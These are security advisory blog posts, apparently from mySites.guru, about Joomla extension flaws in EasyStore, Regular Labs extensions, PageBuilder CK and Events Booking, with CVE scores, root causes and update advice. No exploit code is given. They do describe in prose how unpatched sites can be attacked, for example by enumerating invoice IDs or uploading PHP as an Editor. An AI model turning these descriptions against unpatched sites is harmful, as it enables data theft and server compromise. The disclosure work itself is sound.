We have found the same shape of issue across the Joomla extension ecosystem this year, in page builders, form builders, calendars and newsletter systems: a public endpoint that reaches a sensitive operation with too little checking in between. The lesson is not "avoid these tools". The reputable ones are usually well maintained, and the EasyStore fix itself is solid. What let this one down was not the code but the handling: a set of critical flaws quietly patched with no security notice, which leaves the shop owners who most need to update fastest with the least reason to think they must. Keeping these extensions updated is security-critical, not just feature maintenance, and that is far easier when something is watching the versions for you.

Stay ahead of the next one

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

Disclosure and severity

Two of these three flaws are reachable by an anonymous visitor over the network with no privileges: the order forgery (a broken access control that changes order state and payment status, CWE-862 and CWE-639) and the SQL injection (CWE-89). The third, cross-customer order and invoice disclosure, is an insecure direct object reference (CWE-639) reachable by any authenticated customer.

The Joomla CNA scored these three issues when it assigned the CVEs, and rated two of the three Critical: the SQL injection (CVE-2026-65761) at 9.3 and the cross-customer invoice disclosure (CVE-2026-65760) at 9.2, with the order forgery (CVE-2026-65759) at 8.7, High. Our own pre-assignment scores were more conservative, and it is worth being open about why. We scored the SQL injection 8.7 on confidentiality alone, treating it as a read through the sort clause; the CNA scored it across confidentiality, integrity and availability, which takes it to 9.3. We scored the invoice disclosure 7.1 because in practice it needs a logged-in customer account; the CNA scored it with no privilege requirement and a system-level confidentiality impact, which takes it to 9.2. The direction is the same either way, and we treat all three with the urgency the Critical ratings imply.

9.3 CVSS 4.0

Critical Highest of three findings: the unauthenticated SQL injection (CVE-2026-65761), scored 9.3 Critical by the Joomla CNA

Reachable over the internet with no login. The SQL injection reads the entire site database, password hashes included; a second unauthenticated flaw (CVE-2026-65759) marks any order paid and rewrites arbitrary order records; a third (CVE-2026-65760, scored 9.2 Critical) lets any logged-in customer read every other customer's invoice.

No login needed Exploitable over the internet Free orders and order tampering Full database read

Each finding, scored under CVSS 4.0:

Finding	CVE	Vector (`CVSS:4.0/...`)	Score	Severity
Unauthenticated order/payment forgery	CVE-2026-65759	`AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N`	8.7	High
Unauthenticated SQL injection (full DB read)	CVE-2026-65761	`AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N`	9.3	Critical
Cross-customer order/invoice IDOR	CVE-2026-65760	`AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N`	9.2	Critical

The vectors above are the Joomla CNA's. Our own pre-assignment reads were more conservative on two of them: we scored the SQL injection on confidentiality alone, as a read through the sort clause, and the customer-invoice IDOR at 7.1 because in practice it needs a logged-in account. The CNA scored the SQL injection across full confidentiality, integrity and availability, and the IDOR with no privilege requirement and a system-level confidentiality impact, which is what takes both into the Critical range. We reported all three to JoomShaper as Critical, and the invoice disclosure, whose practical impact is the whole customer base's personal data, is why it leads this post.

Field	Detail
Component	EasyStore for Joomla (`com_easystore`)
Vendor	JoomShaper (joomshaper.com)
Type	Cross-customer IDOR data exposure (CWE-639); unauthenticated order forgery / broken access control (CWE-862, CWE-639); unauthenticated SQL injection (CWE-89)
CVSS 4.0	9.3 (Critical) SQL injection; 9.2 (Critical) cross-customer invoice IDOR; 8.7 (High) order/payment forgery (Joomla CNA scores)
CVE	CVE-2026-65759 (order/payment forgery), CVE-2026-65760 (cross-customer IDOR), CVE-2026-65761 (SQL injection), assigned by the Joomla CNA on 23 July 2026; the CVE records name Phil Taylor as the finder. JoomShaper did not request a CVE and gave no disclosure credit
Impact	Cross-customer personal-data and invoice disclosure; free orders and arbitrary order tampering; anonymous read of the whole database including password hashes
Finder	Phil Taylor, mySites.guru
Affected versions	2.0.1 and all earlier versions
Fixed in	EasyStore 2.0.2
Reported	21 July 2026 (privately to JoomShaper)
Acknowledged	22 July 2026 (JoomShaper reproduced and verified all three)
Fixed	23 July 2026, EasyStore 2.0.2 (shipped with no security advisory)

Regular Labs Patched Its Whole Joomla Extension Catalogue at Once

phil@mysites.guru (Phil Taylor) — Wed, 22 Jul 2026 17:00:00 GMT

Regular Labs, the one-developer Joomla shop Peter van Westen has run since 2010 (you may remember it as NoNumber before the 2016 rebrand), is one of the most widely installed names in the ecosystem. The vendor says its extensions run on more than 100,000 websites, and on our own account the shared Regular Labs Library alone sits on more than 16,000 of the Joomla sites we manage, with household-name extensions like Advanced Module Manager, Sourcerer, Articles Anywhere and Cache Cleaner on thousands each. On 22 July 2026 Regular Labs pushed a security-hardening update across roughly 30 of those extensions at once, and did it quietly: no separate advisory, no CVE numbers, just a stack of changelog entries tagged [SECURITY FIX].

That combination, huge install base and a low-key rollout, is exactly how a release like this gets missed. If you run any Regular Labs extension on a Joomla site, update it now. If you manage more than a handful of sites, read on for how to find every affected one at once.

mySites.guru already flags the affected sites

You do not have to read 30 changelogs and cross-check them against every site by hand. mySites.guru keeps a live inventory of every extension on every connected Joomla site, and we have added detection rules for the vulnerable versions of the higher-risk extensions in this release. Any connected site still running an affected version is flagged automatically, with the exact version it is on and whether the fix is available.

See every Regular Labs extension across your sites

Open your Extension Inventory

Search for Cache Cleaner, Sourcerer or any Regular Labs extension across every connected Joomla site and filter for outdated versions. Not a subscriber? Sign up free and connect your sites.

TL;DR

Regular Labs shipped a coordinated security-hardening update across roughly 30 Joomla extensions on 22 July 2026
Two fixes are in the shared Regular Labs Library, so they affect every one of their extensions: privileged AJAX endpoints that did not consistently enforce tokens and permissions, and a bundled HTTP-message library updated to close a request start-line injection
Cache Cleaner fixed the most serious set: server-side request forgery to private networks, an OS command injection reaching a shell command on SiteGround hosts, path traversal and credential exposure
GeoIP fixed unauthenticated client-IP header spoofing that can bypass GeoIP-based access rules and Conditions
The Articles, Modules and Users Anywhere content plugins fixed SSRF via external image downloads, stored cross-site scripting and exposure of restricted content and authentication data
Modals and Tooltips fixed stored XSS through decoded HTML; Keyboard Shortcuts stopped shortcut overrides running arbitrary JavaScript; Sourcerer 13.0.0 restricts PHP in articles to Super Users
Sourcerer needed a second release. On 17 August 2026, Sourcerer 14.0.0 closed the other half of the same problem: 13.0.0 checked the origin of code in articles, but nowhere else in the page. Every 13.x build is affected
No CVEs were assigned. These are Joomla extension issues, not Joomla core
Update every Regular Labs extension you run. mySites.guru already flags every connected site still on a vulnerable version

What Regular Labs actually shipped

Two of the security fixes in this release are not in any single extension. They are in the Regular Labs Library, the shared framework that every Regular Labs extension installs and loads, which is why the same two lines appear at the bottom of nearly every changelog.

The first is that Regular Labs' privileged AJAX endpoints did not consistently enforce valid tokens, matching permissions, and trusted form configuration. AJAX endpoints are the quiet back door of CMS security: they are reachable over the web, they are easy to forget when you audit permissions, and a missing token or capability check turns an administrator-only action into something a lower-privileged user, or a forged cross-site request, can trigger. We wrote about why AJAX endpoints are a CMS security blind spot before this release, and it is the exact pattern being hardened here across the whole catalogue.

The second is a bundled HTTP-message library updated to fix a request start-line injection. Regular Labs extensions that make outbound HTTP requests ship a copy of a PSR-7 message library, and a carriage-return or line-feed smuggled into the request line, protocol version or reason phrase without validation can inject extra headers or split a second request. The changelog names neither the library nor a CVE, but the wording lines up closely with a known issue in the widely-used guzzlehttp/psr7 package, CVE-2026-55766, a CRLF injection in HTTP start-line serialization fixed in psr7 2.12.1 and disclosed in June 2026. We cannot confirm from closed source that this is the exact dependency Regular Labs bundles, but the description matches. It is a lower-priority fix for most sites, and it travels with every extension you update.

Beyond those two, most of the release is administrator-side hardening: adding the token or permission check that should have gated an admin route, escaping stored values before they render in the admin, rejecting SQL comment and write keywords in DB Replacer's custom filters. Important, but exploitable mainly by someone who already has an account. The issues worth prioritising are the handful that reach further.

Which Regular Labs extensions have the serious fixes?

A few extensions fixed issues that an unauthenticated visitor, or a low-privilege user, can reach. These are the ones to update first.

Extension	Fixed in	The issue that matters
Cache Cleaner	10.0.0	SSRF to private/reserved networks, OS command injection (host value to shell on SiteGround), path traversal, CDN credentials exposed in admin URLs
GeoIP	7.0.0	Unauthenticated client-IP header spoofing bypassing GeoIP access rules; SSRF, credential exposure and unsafe archive extraction on database update
Articles Anywhere	19.0.0	SSRF via external image downloads, stored XSS through tag HTML, restricted/unpublished content and authentication data exposure
Modules Anywhere	9.0.0	Stored XSS, module access and publication bypass, module data exposed to unauthorised logged-in users
Users Anywhere	2.0.0	SSRF via external image downloads, stored XSS, authentication and restricted contact data exposure
Modals	16.0.0	Stored XSS through decoded modal HTML; gallery folder path traversal
Tooltips	10.0.0	Stored XSS through decoded tooltip HTML
Keyboard Shortcuts	4.0.0	Shortcut action overrides accepted arbitrary inline JavaScript
Sourcerer	13.0.0	PHP in articles restricted to Super Users; CSS/JS/PHP permissions enforced across article creators and modifiers

Cache Cleaner is the one to update first

Cache Cleaner runs on more of the sites we manage than any other Regular Labs extension in this release, and it fixed the widest set of issues. The standouts are a server-side request forgery where custom query URLs could reach private or reserved network services, and an OS command injection on SiteGround hosts where a request host value could reach a shell command. It also closed a path traversal in custom folder and log paths and stopped CDN provider credentials appearing in administrator request URLs. Update to Cache Cleaner 10.0.0.

GeoIP and Conditions: spoofable IP headers

GeoIP fixed something that reaches every site using it for access control: GeoIP lookups trusted spoofable forwarded client-IP headers. If you gate content, logins or Regular Labs Conditions on a visitor's country or IP, an attacker could forge the header and present as any location they liked. The same spoofing fix appears in the Conditions component that ships with Advanced Module Manager, Conditional Content, Content Templater and ReReplacer, so it is not only GeoIP users who benefit. GeoIP's database-update path also fixed SSRF, credential exposure and unsafe archive extraction. Update GeoIP to 7.0.0 and the Conditions-bearing extensions to their fixed versions.

The "Anywhere" content plugins: SSRF and stored XSS

Articles Anywhere, Modules Anywhere and Users Anywhere render content through front-end tags, and all three fixed the same shape of problem. External image downloads accepted unsafe hosts, redirects and local folders (SSRF), tag-provided custom HTML could render unsafe markup (stored XSS), and tags could expose restricted or unpublished content and authentication data. Several of the fixes are breaking changes: tag-provided custom HTML now renders as escaped text rather than markup, so if you relied on that behaviour, test after updating. Update Articles Anywhere to 19.0.0, Modules Anywhere to 9.0.0 and Users Anywhere to 2.0.0.

Sourcerer tightens who can run PHP

Sourcerer lets you place code, including PHP, inside Joomla content, which makes it powerful and sensitive in equal measure. Version 13.0.0 restricts PHP in articles to content created and last modified by Super Users, and enforces the configured CSS, JavaScript and PHP permissions across both the creator and the last editor of an article, closing the gap where a lower-privilege editor could get code executed. This is separate from the older Sourcerer code-execution issue CVE-2025-22204, fixed back in 11.0.0. Note that 13.0.0 keeps your existing Pro security settings on update, so open the configuration and opt into the stricter defaults deliberately.

These are extension flaws, not a Joomla core problem

The distinction is worth getting right, because the Joomla community rightly bristles when extension issues get reported as "Joomla vulnerabilities". Nothing in this release is a flaw in Joomla itself. Joomla core is unaffected. What happened is that a single vendor whose code is installed almost everywhere shipped fixes across its whole range at once, which is a different thing from a core security release.

It also changes how you respond. You do not need to touch Joomla core for any of this. You need to update the Regular Labs extensions, and you need to know which of your sites run them, because the blast radius here is defined by "do you have this extension installed", not by your Joomla version.

No CVE does not mean no risk

There are no CVE numbers on the 22 July issues, and it would be easy to read that as "not serious". That inference is wrong. A CVE is a tracking identifier, not a severity rating, and plenty of genuinely dangerous issues never get one, especially when a vendor fixes them in a changelog rather than filing an advisory. An unauthenticated SSRF or a stored XSS is exactly as exploitable whether or not a number is attached to it.

No CVE today also does not mean no CVE ever. To be clear, these are not our findings. We did not report them, and we do not know whether anyone has requested CVE numbers for them. This was Regular Labs' own security pass across its codebase, fixed and shipped by the vendor. Numbers may still be assigned weeks or months from now, once a researcher or the Joomla CNA works through the changelog, so treat a missing CVE as paperwork that has not caught up rather than a verdict on severity.

What the missing CVE does change is your ability to hear about it. Without an advisory, an NVD entry or a Vulnerable Extensions List row, the only signal is a [SECURITY FIX] line in a per-extension changelog you have to go and read. That is precisely the gap a live inventory closes: you find out because your dashboard tells you a version is outdated, not because you happened to be reading Regular Labs' release notes on the right day.

How do I find every affected site I manage?

For up to about ten sites, log in to each Joomla administrator and check the installed Regular Labs versions against the fixed numbers above. Past that, checking by hand stops being realistic, and the risk is not the sites you remember but the ones you forget.

mySites.guru keeps a live inventory of every extension, template and framework on every connected Joomla and WordPress site in your account. Search for a Regular Labs extension once and you get every site running it, the version each is on, and whether an update is available. Because we have added detection rules for the affected versions, the vulnerable installs are already flagged for you, so you are working from a list rather than a search.

How do I update Regular Labs extensions safely?

Take a backup first. Before any extension update on a production Joomla site, back up the database and files. With mySites.guru you can trigger a snapshot or a full backup first.
Update through Joomla's Extensions manager, or in bulk. On a single site, open the Joomla administrator, go to System, then Update, then Extensions. If you manage many sites, use the mySites.guru mass update feature to upgrade every affected site from one dashboard.
Mind the PHP 8.2 floor. This release raises the minimum PHP version to 8.2 across the catalogue. Sites still on PHP 8.1, which reached end of life in December 2025, or older will not be offered the update until PHP is upgraded, which leaves them stuck on the vulnerable builds and is its own reason to move off an unsupported PHP version.
Confirm the version and test. After updating, check each extension reports the fixed version. Several fixes are breaking changes, especially in the Anywhere plugins where tag HTML now renders escaped, so test any site that relies on that behaviour.
Do not rely on auto-updates blindly. If you use Joomla extension auto-updates, confirm each site actually received the fix. Auto-updates fail silently more often than people think.

A coordinated hardening pass is a good sign, not a bad one

It can look alarming when a vendor patches its entire catalogue on one day. Read the other way, it is what responsible maintenance looks like. Regular Labs clearly ran a security pass across its whole codebase, found a class of issues, and fixed them everywhere at once rather than one reactive patch at a time. That is the same healthy pattern we see when we are not the only ones auditing Joomla extensions: the extensions getting this attention are the well-maintained ones.

None of this is a reason to distrust Regular Labs. The real takeaway is that keeping extensions updated is security-critical work, not cosmetic housekeeping, and "I would have updated if I had known" is not a plan when the disclosure is a changelog line on one of thirty extensions. Knowing which of your sites are affected, the day the fix ships, is the whole game. That is the job mySites.guru does for you.

Get free email alerts when a Joomla vulnerability breaks

We email a plain-English alert the moment a serious Joomla extension flaw is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.

Subscribe to security alerts

PageBuilder CK RCE fixed - again - correctly this time

phil@mysites.guru (Phil Taylor) — Tue, 21 Jul 2026 19:38:00 GMT

In June 2026 we disclosed a critical flaw in PageBuilder CK, the popular free drag-and-drop page builder for Joomla. It was an unauthenticated file upload that led to remote code execution: anyone, with no login at all, could upload a file to a Joomla site and run it. It became CVE-2026-56290, scored CVSS 10.0, and the vendor shipped version 3.6.0 as the fix.

We went back and read the code the vendor shipped after that. The 3.6.0 fix was incomplete. It added a login check that stops anonymous visitors, and that part works. What it did not do was correct the upload itself. The flaw that let an attacker write and run a PHP file was still there, still in the same file, still with the file-type check commented out, all the way through 3.6.2. All the patch had done was put the bug behind a login. Any account with the Editor permission, which Joomla hands out by default, could still upload and run code. The vendor has now shipped 3.6.3, which restores the missing check and closes it.

This is the difference between patched and fixed, and it is worth understanding, because it is a mistake we see again and again. Update PageBuilder CK to 3.6.5, then read on for what the 3.6.0 fix actually changed and why an "authenticated" upload flaw was still a serious problem.

TL;DR

The 3.6.0 fix for CVE-2026-56290 only added an access check. It stops anonymous visitors, but the upload handler was not corrected until 3.6.3
The file-extension check stayed commented out through 3.6.2, so the endpoint would still write a PHP file into a web-served folder
The remote code execution regressed from unauthenticated to authenticated. Any account with core.edit, which Joomla grants to the Editor group by default, could still reach it
An Editor is a low-trust content role that must never be able to write executable files. So this was a privilege escalation from editor to full server compromise
We confirmed the flaw on a clean test install, uploading a harmless marker file and watching it run, and confirmed that 3.6.3 rejects the same upload, then cleaned up. We are not publishing a working exploit
Update to PageBuilder CK 3.6.5, and as a backstop block PHP execution in your writable folders (/images, /media, /templates, /tmp) so an incomplete vendor fix cannot hurt you
Reported to the vendor, who shipped 3.6.3 with the file-type allow-list restored
We then found a separate SQL injection in the styles handling, and the 3.6.4 release meant to fix it sanitised nothing on the administrator path. Properly fixed in 3.6.5

How to Find Every Joomla Site Running PageBuilder CK with mySites.guru

When a flaw sits in a component that could be on dozens of your client sites, the first question is always the same: which of my sites run it, and on what version? Logging into every Joomla admin to check the PageBuilder CK version does not scale past a handful of sites.

mySites.guru records the exact version of every installed extension across every connected Joomla site on a twice-daily snapshot. The extension search shows you every site running PageBuilder CK, grouped by version, in seconds. Filter for anything below 3.6.5 and you have your work list.

View all your PageBuilder CK installations

Open PageBuilder CK Extension Search

Lists every installed version across all your connected Joomla sites, so you can find the installations that still need the update.

Combined with the mass extension updater, you can push 3.6.5 across every affected site in one batch. Affected sites are also flagged in the mySites.guru vulnerable extensions feed, so you are told which sites are exposed rather than having to go looking.

If you do not have a mySites.guru account yet, start a free month and connect your sites. The extension index builds automatically on the first snapshot.

What the 3.6.0 Fix Actually Changed

The original bug had two halves. The endpoint that handles image uploads had no authentication and no permission check, so anyone could reach it. And the upload handler accepted any file, with any extension, and wrote it to a folder the caller chose. Either half on its own is a problem. Together they are unauthenticated remote code execution.

Version 3.6.0 fixed the first half. It added an access check to the component's endpoints, so a request now has to come from a logged-in user with permission to edit before the upload code runs. You can see it working: send an anonymous request to the upload endpoint on a patched site and it comes back with a 403, permission denied. The anonymous path is genuinely closed, which is why CVE-2026-56290 is correctly marked fixed in 3.6.0.

What 3.6.0 did not touch was the second half. The upload handler did not check the file type. In the code from 3.6.0 through 3.6.2 the extension check was not just missing, it was sitting right there commented out, with a developer's note where the check used to run:

// check the file extension // TODO recup preg_match de local dev
// if (getExt($filename) != 'jpg') { ... }

The line below it that would reject anything that is not an image was disabled. The handler cleaned the filename but kept the extension, so shell.php stayed shell.php, and then wrote it into a web-served folder. The file type was looked at only to pick which icon to show in the media browser, never to decide whether the file was allowed. So the exact flaw that made the June bug a remote code execution was still present, right up to 3.6.2. The 3.6.0 patch built a locked front door and left the back door wide open. Version 3.6.3 finally shuts it, restoring an allow-list that rejects anything that is not an approved media type before the file is written.

A note on what we are not publishing. We confirmed this by reading the shipped code and reproducing the upload on our own test install, with a harmless marker file that we removed straight afterwards, and we verified that 3.6.3 rejects the same upload. No customer or third-party site was involved. We are not naming the exact request or publishing a working exploit. The point is to get people updated and hardened, not to hand a recipe to the next scanner.

Why an "Authenticated" Upload Flaw Is Still Serious

It is tempting to read "now needs a login" as "now safe". It is not, and the reason is who the login belongs to.

The permission that unlocks the upload is core.edit, and in a default Joomla install that permission is granted to the Editor user group. An Editor is a content role. It is the account you give to a copywriter, a marketing hire, or a junior team member so they can write and edit articles. It has no business touching the file system, and in a correctly built site it cannot. Joomla's own media manager deliberately refuses to store executable files for exactly this reason: even a trusted administrator should not be able to drop a PHP file into a web folder by accident, let alone an Editor.

On the vulnerable versions this endpoint handed that power to any Editor. An Editor login, through this one upload, became the ability to write and run arbitrary code on the server. That is a privilege escalation: from "can edit an article" to "controls the entire site and everything else it can reach". Editor accounts are also the softest targets on most sites. They get shared, they get weak passwords, they get reused, and they get phished, precisely because everyone treats them as low-risk. On a site running this code, they were not low-risk at all.

There is a genuine improvement over the June version, and it is worth being honest about it: an anonymous internet-wide attacker can no longer walk straight in. But the gap between "anonymous" and "any Editor" is much smaller than it sounds, and it is nowhere near enough of a barrier for a flaw whose payoff is complete server control.

Being 'patched' is not the same as being 'fixed'

The reason this is worth a whole post, rather than a footnote on the original, is the pattern. A security fix can take two shapes. You can remove the flaw, or you can put a gate in front of it. Removing the flaw here would have meant restoring the file-type check so the handler refuses a PHP upload from anyone. Putting a gate in front of it meant adding a login check so fewer people can reach the unchanged flaw. The 3.6.0 release did the second and not the first, and a critical unauthenticated bug became a serious authenticated one instead of going away.

From the outside these look identical. The changelog says the security issue is fixed, the version number goes up, the CVE is marked resolved. Only reading the code told you the root cause was still there. This is why, when we track a vulnerability, we care about what the fix actually did and not just that a fix shipped.

It is also the strongest possible argument for defence in depth. If your writable directories cannot execute PHP in the first place, then a handler that wrongly writes a .php file has written an inert text file, and an incomplete vendor fix never becomes your incident. Block PHP execution in /images, /media, /templates and /tmp at the web server level, not in the application, so the protection holds regardless of what any one extension does. If you run Akeeba Admin Tools, its .htaccess Maker sets up most of this for you. It is the layer that would have blunted both the June bug and this one - but even this is still just locking the fridge and the toilet and letting the hacker sit on your sofa.

It Happened Again, In The Styles Code

Once 3.6.3 closed the upload, we read the rest of the component. There was a second flaw, nothing to do with uploads: SQL injection in the way PageBuilder CK loads its saved styles. Style identifiers went into a database query with no escaping and no numeric conversion, so somebody who can create or edit PageBuilder CK content could store a payload that runs against the database when the page is next rendered. The trigger is a visitor loading the page, not the attacker sending a request. It needs an authenticated account with content editing rights, so this is not the anonymous class of problem the June bug was, but "any account that can edit a page can reach the database" is not where you want to be either.

We reported it, and the vendor shipped 3.6.4 on 13 August with a changelog line about fixing a security issue in the styles models.

3.6.4 fixed half of it. The front-end path was corrected properly; the administrator path was not, and it failed in a way that is very easy to write and very hard to catch in review. The sanitising line was there, calling the right function on the right variable, and it threw the result away. That function hands back a cleaned copy and leaves the original alone, so a line sitting under a comment saying it cleans the data changed nothing whatsoever. The raw values reached the query exactly as before.

We told the vendor the next morning. 3.6.5 shipped on 17 August with the one missing character, and we read the released build to confirm the values are converted before they reach the query now.

That is twice this component has shipped a fix that did not finish the job: the June access check that left the upload handler untouched, and a styles fix that sanitised nothing on one of the two paths that needed it. The version to be on is 3.6.5.

What To Do

Update PageBuilder CK to 3.6.5 on every Joomla site that runs it. In each site's Joomla admin, go to System then Update then Extensions, find PageBuilder CK, and update. If the update does not appear there, download the latest build from joomlack.fr and install it over the top. If you run more than a handful of sites, push the update from your mySites.guru dashboard rather than working through admin panels one by one.

Then harden the site so you are not relying on any single extension getting its file handling right. Block PHP execution in your writable directories, review your Users list and remove any Editor or Super User accounts you do not recognise, and tighten the passwords on the ones you keep. If a site has been running this code with untrusted Editor accounts, treat a compromise as possible and run a full security audit: look for stray PHP files under /images, /media, /templates and /administrator, and if you find one, clean the site properly and rotate your Joomla passwords and secrets.

The Same Root Cause, One Layer Down

The June bug fit a pattern we have written about at length: front-end endpoints that check a token but never check permission. This one is a variation on it. The permission check finally got added, but the dangerous operation behind it, an upload with no file-type control, was left untouched, so the flaw simply changed who could reach it.

It sits alongside the other file-upload flaws we have covered this year, several of which are the same shape. Phoca Download was an authenticated upload where a member-level account could bypass the allow-list and run code, a close cousin of this Editor-level flaw. Balbooa Forms, iCagenda and the SP Page Builder zero day were unauthenticated versions of the same idea. We pulled the whole pattern apart in AJAX endpoints are a big CMS security blind spot, and it keeps proving relevant.

The lesson is not "stop using extensions". PageBuilder CK is genuinely good at its job, and this is a fixable oversight, not a reason to rip it out. The lesson is that the security of your sites rests on code other people wrote and ship on their own schedule, that even a shipped fix is worth checking, and that the day a flaw becomes public you need to know, within minutes, which of your sites run it. That is the whole reason mySites.guru indexes every extension on every site you connect. The corrected release is here in 3.6.5. You want to be the operator who updated and swept before the next scanner comes round, not the one finding a strange file three weeks later.

CVE Record

The original unauthenticated flaw is tracked as CVE-2026-56290, published 29 June 2026, CVSS 10.0, CWE-284, crediting Phil Taylor of mySites.guru as the finder. The residual authenticated flaw described here is an incomplete fix of that same issue. We reported it to the vendor on 21 July 2026, and the vendor released 3.6.3 with the file-type allow-list restored, which we confirmed on a clean test install. Both follow-up records are now published, and both credit Phil Taylor of mySites.guru as the finder.

The authenticated upload variant is CVE-2026-63048, published by the Joomla CNA on 22 July 2026, scored CVSS 4.0 9.4 critical on AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H, classified CWE-434, unrestricted upload of a file with a dangerous type. Read the version numbers on it carefully: the title says "< 3.6.2" while the affected range runs to 3.6.2 inclusive. The range is the accurate half. 3.6.2 is affected, and 3.6.3 is the release that fixes it.

The styles SQL injection is CVE-2026-74254, published 17 August 2026, scored CVSS 4.0 9.3 critical on AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N, classified CWE-89. Its affected range is 1.0.0 to 3.6.4, and the record describes the two-stage fix in one line: "Version 3.6.4 fixed the vector in the frontend, 3.6.5 in the backend." The CNA scored it PR:N, no privileges required, which is a wider reach than the path we reported: what we proved and sent to the vendor needed an account with content editing rights on the component, which is the administrator path 3.6.5 closes. The record covers both vectors, so 9.3 is the figure to quote, and 3.6.5 is still the version to be on.

Field	Detail
Original CVE	CVE-2026-56290 (unauthenticated, fixed in 3.6.0)
This CVE	CVE-2026-63048, published 22 July 2026, CVSS 4.0 9.4 (critical), CWE-434, crediting Phil Taylor of mySites.guru
This finding	Incomplete fix of CVE-2026-56290: upload handler wrote executable files through 3.6.2
Reach	Authenticated. Any account with `core.edit` (Editor group by default)
Component	PageBuilder CK (`com_pagebuilderck`)
Vendor	Cedric Keiflin (joomlack.fr)
Type	Authenticated arbitrary file upload to remote code execution (privilege escalation)
Still present in	3.6.2 and earlier of the current line
Fixed in	3.6.3 (restores the file-type allow-list)
Reported	21 July 2026 (fixed in 3.6.3)
Follow-up finding	SQL injection in the styles handling, CVE-2026-74254, published 17 August 2026, CVSS 4.0 9.3 (critical), CWE-89, crediting Phil Taylor of mySites.guru
Follow-up reach	Authenticated. Any account with content editing rights on the component
Follow-up affected	1.0.0 to 3.6.4 per the CVE record. 3.6.4 fixed the front-end vector only, leaving the administrator one open
Follow-up fixed in	3.6.5, released 17 August 2026
Current safe version	3.6.5

Events Booking for Joomla exposes personal and financial data from invoices

phil@mysites.guru (Phil Taylor) — Tue, 21 Jul 2026 19:36:45 GMT

Events Booking is one of the most widely used event registration and ticketing components for Joomla. It runs conference sign-ups, class bookings and ticket sales, so the records it holds belong to real attendees who handed over their details, and often their money, to book something. During security research on the extensions our customers rely on, mySites.guru found an unauthenticated flaw in Events Booking that let anyone download any registrant's invoice, reported it privately to JoomDonation, and it is now fixed in Events Booking 5.8.2. It is the third issue we have found and reported in this one component this month.

This one came straight on the heels of the last round. We had only just finished reporting the anonymous file upload and user-enumeration flaws. We got the 5.8.1 source the way we get a lot of things: a mySites.guru subscriber sent it over. Reading that code is exactly how this invoice flaw surfaced, which is worth sitting with for a moment. The release we could not get handed to us to check turned out to contain a fresh unauthenticated hole of its own.

An invoice is not a small thing to leak. It carries the attendee's full name, their organisation, their postal address, their email address and the amount they paid. The front-end page that generates that invoice as a PDF decided what to hand over from the registration ID number in the web address, and it never properly checked that the person asking was entitled to it. So a stranger with no account could pull up any registration's invoice by changing the ID number, then count up through the numbers to collect the lot.

mySites.guru discovered this issue and reported it privately to JoomDonation, who fixed it in Events Booking 5.8.2. As with every flaw we find, we withheld the exact request and any proof-of-concept and waited for a fix before publishing. Update to 5.8.2. It is tracked as CVE-2026-63047, assigned via the Joomla CNA. This is how we handle every vulnerability we find: report first, publish second, and never ship a recipe.

TL;DR

Anyone could download any registrant's invoice. The front-end invoice download handed over a registration's invoice PDF based on the ID number in the web address, without properly checking that the requester owned it. No login, no account, no special access
Each invoice is a full billing identity. Name, organisation, postal address, email address and payment amount, for every registration that had an invoice
Count up through the IDs and you had the lot. There was nothing to stop a short script walking the ID range and collecting every invoice on the site
A separate, third issue. This is distinct from the anonymous upload and user-enumeration flaws we reported earlier this month, which were fixed in 5.8.0 and 5.8.1. This one is fixed in 5.8.2
If you already updated for the earlier flaws, update again. Those releases did not touch the invoice flaw, so a site on 5.8.1 is still exposed until it reaches 5.8.2
If you cannot update immediately, turn off invoicing as an interim measure. A firewall has nothing to block here, because there is no malformed payload, just an ordinary request for a document
This was potentially a reportable data breach for any site that ran invoicing on an affected version. Invoices are personal data under the UK and EU GDPR, and the exposure is silent
Found by reviewing the 5.8.1 source, which reached us from a subscriber rather than the vendor. Reported privately on 20 July 2026, fixed in 5.8.2, assigned CVE-2026-63047 via the Joomla CNA. No proof-of-concept released

What the flaw was

Events Booking can issue a PDF invoice for a registration. When the invoice feature is switched on, a registrant who has paid gets an invoice, and there is a front-end page that serves it back as a download.

That page was where the problem sat. It worked out which invoice to return from the numeric registration ID passed in the request, loaded that registration, and generated the PDF. The access check that was supposed to guard it was an authorisation failure: it confirmed that a download code was supplied, but not that the code actually belonged to the registration being requested. A code is meant to be the per-registration secret that proves you own the booking. Here, any value in that slot satisfied the check, while the invoice itself was chosen by the ID number. The two were never compared.

The result was a classic insecure direct object reference. The server handed the document to whoever asked, based on a number the caller controlled, and the number was sequential. There was no login check, no CSRF token and, critically, no ownership check. The component's own pages only ever request the invoice for a booking the visitor actually made, so in normal use it looked harmless. The server never enforced what the browser assumed.

The whole flaw in one line

The invoice download checked that a code was supplied, not that it belonged to the invoice, so the document was handed to anyone who asked for it by ID number.

We are withholding the exact request and any working proof-of-concept even though it is fixed. This section is enough to understand the risk and act on it, and not enough to be a recipe against sites that have not updated yet.

We proved it against a clean install of Events Booking 5.8.1 to be sure it was real and not a quirk of one configuration. To keep the lab honest we created a single test registration, retrieved its invoice as an anonymous visitor, confirmed the personal and payment details were all present, and removed the test data afterwards. We did not touch any live site, and there is no site of yours involved in this research.

For contrast, the sibling invoice-style downloads in the same component, the certificate and the ticket, were not affected. They work out the registration from the code itself rather than trusting a separate ID number, so a wrong code simply resolves to no record. The invoice download was the one place where the ID chose the document and the code was only checked for being present. One inconsistent check is all it takes.

Update to 5.8.2

Earlier in July we reported two other unauthenticated flaws in Events Booking, an anonymous file upload that was on by default and a leak of every user's name and email. Those were fixed across 5.8.0 and 5.8.1. This invoice flaw is separate, and it is fixed in 5.8.2. If you updated to 5.8.1 for the earlier flaws and assumed Events Booking was sorted, this one was still open on your site until 5.8.2, so update again.

